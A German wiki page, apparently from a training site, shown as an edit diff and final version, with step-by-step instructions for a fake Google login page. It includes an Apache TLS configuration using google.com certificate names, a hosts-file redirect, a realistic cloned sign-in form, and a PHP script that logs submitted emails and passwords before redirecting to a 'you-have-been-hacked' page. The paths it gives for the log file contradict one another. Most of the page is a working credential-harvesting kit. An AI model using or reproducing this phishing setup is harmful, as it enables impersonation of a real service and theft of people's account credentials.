Google.com: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
(Die Seite wurde neu angelegt: „= Fake-Google-Login mit Apache, SSL und PHP-Logging = == Ziel == * TLS-geschützte Fake-Loginseite * Sieht aus wie Google * Loggt E-Mail + Passwort in Datei *…“) |
|||
| (5 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt) | |||
| Zeile 3: | Zeile 3: | ||
== Ziel == | == Ziel == | ||
* TLS-geschützte Fake-Loginseite | * TLS-geschützte Fake-Loginseite | ||
| − | * | + | * Täuschend echtes Google-Layout |
| − | * Loggt E-Mail + Passwort | + | * Loggt E-Mail + Passwort nach /tmp/ |
* Kein nginx, kein SET, kein Frickel | * Kein nginx, kein SET, kein Frickel | ||
== Voraussetzungen == | == Voraussetzungen == | ||
* Zertifikate vorhanden: | * Zertifikate vorhanden: | ||
| − | ** /etc/apache2/google.com.fullchain.crt | + | ** /etc/apache2/star.google.com.fullchain.crt |
| − | ** /etc/apache2/google.com.key | + | ** /etc/apache2/star.google.com.key |
| − | * Apache | + | * Apache und PHP installiert: |
apt install apache2 php libapache2-mod-php -y | apt install apache2 php libapache2-mod-php -y | ||
| Zeile 24: | Zeile 24: | ||
<pre> | <pre> | ||
<VirtualHost *:443> | <VirtualHost *:443> | ||
| − | ServerName google.com | + | ServerName www.google.com |
DocumentRoot /var/www/html | DocumentRoot /var/www/html | ||
SSLEngine on | SSLEngine on | ||
| − | SSLCertificateFile /etc/apache2/google.com.fullchain.crt | + | SSLCertificateFile /etc/apache2/star.google.com.fullchain.crt |
| − | SSLCertificateKeyFile /etc/apache2/google.com.key | + | SSLCertificateKeyFile /etc/apache2/star.google.com.key |
<Directory /var/www/html> | <Directory /var/www/html> | ||
| Zeile 46: | Zeile 46: | ||
== Hosts-Datei anpassen == | == Hosts-Datei anpassen == | ||
| − | |||
echo "127.0.0.1 google.com" >> /etc/hosts | echo "127.0.0.1 google.com" >> /etc/hosts | ||
== HTML + PHP bereitstellen == | == HTML + PHP bereitstellen == | ||
*Verzeichnis: /var/www/html | *Verzeichnis: /var/www/html | ||
| + | *Datei erstellen | ||
| + | touch log.txt | ||
| + | chown www-data:www-data log.txt | ||
*index.html: | *index.html: | ||
| Zeile 60: | Zeile 62: | ||
<meta charset="utf-8"> | <meta charset="utf-8"> | ||
<style> | <style> | ||
| − | body { font-family: Arial, sans-serif; | + | body { |
| − | + | background-color: #f2f2f2; | |
| − | + | font-family: Arial, sans-serif; | |
| − | + | margin: 0; | |
| + | padding: 0; | ||
| + | display: flex; | ||
| + | justify-content: center; | ||
| + | align-items: center; | ||
| + | height: 100vh; | ||
} | } | ||
| − | .logo { width: | + | .container { |
| − | input | + | background-color: #fff; |
| − | width: | + | padding: 48px 40px 36px; |
| − | border: 1px solid # | + | border-radius: 8px; |
| + | box-shadow: 0 1px 3px rgba(60,64,67,.3), 0 4px 8px rgba(60,64,67,.15); | ||
| + | max-width: 360px; | ||
| + | width: 100%; | ||
| + | box-sizing: border-box; | ||
| + | text-align: center; | ||
| + | } | ||
| + | .logo { | ||
| + | width: 75px; | ||
| + | margin-bottom: 24px; | ||
| + | } | ||
| + | h1 { | ||
| + | font-size: 24px; | ||
| + | font-weight: 400; | ||
| + | margin: 0 0 24px 0; | ||
| + | color: #202124; | ||
| + | } | ||
| + | input { | ||
| + | width: 100%; | ||
| + | padding: 14px; | ||
| + | margin: 8px 0; | ||
| + | border: 1px solid #dadce0; | ||
| + | border-radius: 4px; | ||
| + | font-size: 16px; | ||
| + | box-sizing: border-box; | ||
| + | } | ||
| + | button { | ||
| + | width: 100%; | ||
| + | background-color: #1a73e8; | ||
| + | color: white; | ||
| + | padding: 12px; | ||
| + | border: none; | ||
| + | border-radius: 4px; | ||
| + | font-size: 14px; | ||
| + | font-weight: 500; | ||
| + | margin-top: 24px; | ||
| + | cursor: pointer; | ||
| + | } | ||
| + | button:hover { | ||
| + | background-color: #1669c1; | ||
} | } | ||
| − | |||
</style> | </style> | ||
</head> | </head> | ||
<body> | <body> | ||
| − | <div class=" | + | <div class="container"> |
| − | <img src="logo.png" class="logo"> | + | <img src="logo.png" class="logo" alt="Google"> |
| − | < | + | <h1>Sign in</h1> |
<form action="harvest.php" method="POST"> | <form action="harvest.php" method="POST"> | ||
<input type="text" name="email" placeholder="Email" required> | <input type="text" name="email" placeholder="Email" required> | ||
| Zeile 91: | Zeile 136: | ||
<?php | <?php | ||
file_put_contents("log.txt", date("c") . " | " . $_POST['email'] . " | " . $_POST['password'] . "\n", FILE_APPEND); | file_put_contents("log.txt", date("c") . " | " . $_POST['email'] . " | " . $_POST['password'] . "\n", FILE_APPEND); | ||
| − | header("Location: https:// | + | header("Location: https://you-have-been-hacked.xinux.de/"); |
exit; | exit; | ||
?> | ?> | ||
| + | |||
</pre> | </pre> | ||
| − | *Logo | + | *Logo: |
| − | ** logo.png | + | ** Datei: /var/www/html/logo.png |
| + | ** Beispiel: Logo aus SET, Screenshot oder Google-Login exportieren | ||
== Test == | == Test == | ||
| − | * | + | *Im Browser aufrufen: |
https://google.com | https://google.com | ||
→ Seite erscheint | → Seite erscheint | ||
| − | → | + | → Eingaben werden in /tmp/xlog.txt geschrieben |
| − | → Weiterleitung | + | → Weiterleitung zur echten (oder Fake-)Google-Seite |
Aktuelle Version vom 21. Mai 2025, 09:10 Uhr
Fake-Google-Login mit Apache, SSL und PHP-Logging
Ziel
- TLS-geschützte Fake-Loginseite
- Täuschend echtes Google-Layout
- Loggt E-Mail + Passwort nach /tmp/
- Kein nginx, kein SET, kein Frickel
Voraussetzungen
- Zertifikate vorhanden:
- /etc/apache2/star.google.com.fullchain.crt
- /etc/apache2/star.google.com.key
- Apache und PHP installiert:
apt install apache2 php libapache2-mod-php -y
Apache für SSL konfigurieren
- Datei bearbeiten:
vi /etc/apache2/sites-available/000-default.conf
- Inhalt ersetzen:
<VirtualHost *:443>
ServerName www.google.com
DocumentRoot /var/www/html
SSLEngine on
SSLCertificateFile /etc/apache2/star.google.com.fullchain.crt
SSLCertificateKeyFile /etc/apache2/star.google.com.key
<Directory /var/www/html>
Options Indexes FollowSymLinks
AllowOverride None
Require all granted
</Directory>
</VirtualHost>
- SSL-Modul aktivieren:
a2enmod ssl
- Apache neu starten:
systemctl restart apache2
Hosts-Datei anpassen
echo "127.0.0.1 google.com" >> /etc/hosts
HTML + PHP bereitstellen
- Verzeichnis: /var/www/html
- Datei erstellen
touch log.txt chown www-data:www-data log.txt
- index.html:
<!DOCTYPE html>
<html>
<head>
<title>Sign in – Google Accounts</title>
<meta charset="utf-8">
<style>
body {
background-color: #f2f2f2;
font-family: Arial, sans-serif;
margin: 0;
padding: 0;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
}
.container {
background-color: #fff;
padding: 48px 40px 36px;
border-radius: 8px;
box-shadow: 0 1px 3px rgba(60,64,67,.3), 0 4px 8px rgba(60,64,67,.15);
max-width: 360px;
width: 100%;
box-sizing: border-box;
text-align: center;
}
.logo {
width: 75px;
margin-bottom: 24px;
}
h1 {
font-size: 24px;
font-weight: 400;
margin: 0 0 24px 0;
color: #202124;
}
input {
width: 100%;
padding: 14px;
margin: 8px 0;
border: 1px solid #dadce0;
border-radius: 4px;
font-size: 16px;
box-sizing: border-box;
}
button {
width: 100%;
background-color: #1a73e8;
color: white;
padding: 12px;
border: none;
border-radius: 4px;
font-size: 14px;
font-weight: 500;
margin-top: 24px;
cursor: pointer;
}
button:hover {
background-color: #1669c1;
}
</style>
</head>
<body>
<div class="container">
<img src="logo.png" class="logo" alt="Google">
<h1>Sign in</h1>
<form action="harvest.php" method="POST">
<input type="text" name="email" placeholder="Email" required>
<input type="password" name="password" placeholder="Password" required>
<button type="submit">Sign in</button>
</form>
</div>
</body>
</html>
- harvest.php:
<?php
file_put_contents("log.txt", date("c") . " | " . $_POST['email'] . " | " . $_POST['password'] . "\n", FILE_APPEND);
header("Location: https://you-have-been-hacked.xinux.de/");
exit;
?>
- Logo:
- Datei: /var/www/html/logo.png
- Beispiel: Logo aus SET, Screenshot oder Google-Login exportieren
Test
- Im Browser aufrufen:
https://google.com
→ Seite erscheint → Eingaben werden in /tmp/xlog.txt geschrieben → Weiterleitung zur echten (oder Fake-)Google-Seite